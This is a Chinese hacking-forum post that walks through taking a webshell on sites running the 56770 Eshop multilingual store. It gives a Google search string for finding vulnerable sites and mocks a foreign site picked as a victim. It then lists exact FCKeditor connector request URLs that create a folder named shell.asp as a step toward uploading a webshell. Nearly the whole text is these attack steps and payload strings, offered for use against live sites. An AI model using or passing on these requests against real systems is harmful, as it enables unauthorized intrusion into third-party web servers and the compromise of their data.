【漏洞】乐彼多语言网店通杀拿SHeLL

作者：玉鼎真人 vs 龙儿心
利用方法
Google搜索：Powered By 56770 Eshop
搜索 Powered By 56770 Eshop 获得约 43,700 条结果
随便找一个网站

就他吧www.XXXcom 一个外国网站好你很幸运你被我们群体XX的
哈哈

下一步在网站地址后面添加
admin/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=../../connectors/asp/connector.asp
http://www.xxx.com/admin/FCKedit ... s/asp/connector.asp

从fck突破
突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
在http://www.xxx.com/admin/后面添加这段地址
（http://www.xxx.com/admin/FCKedit ... ;uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp）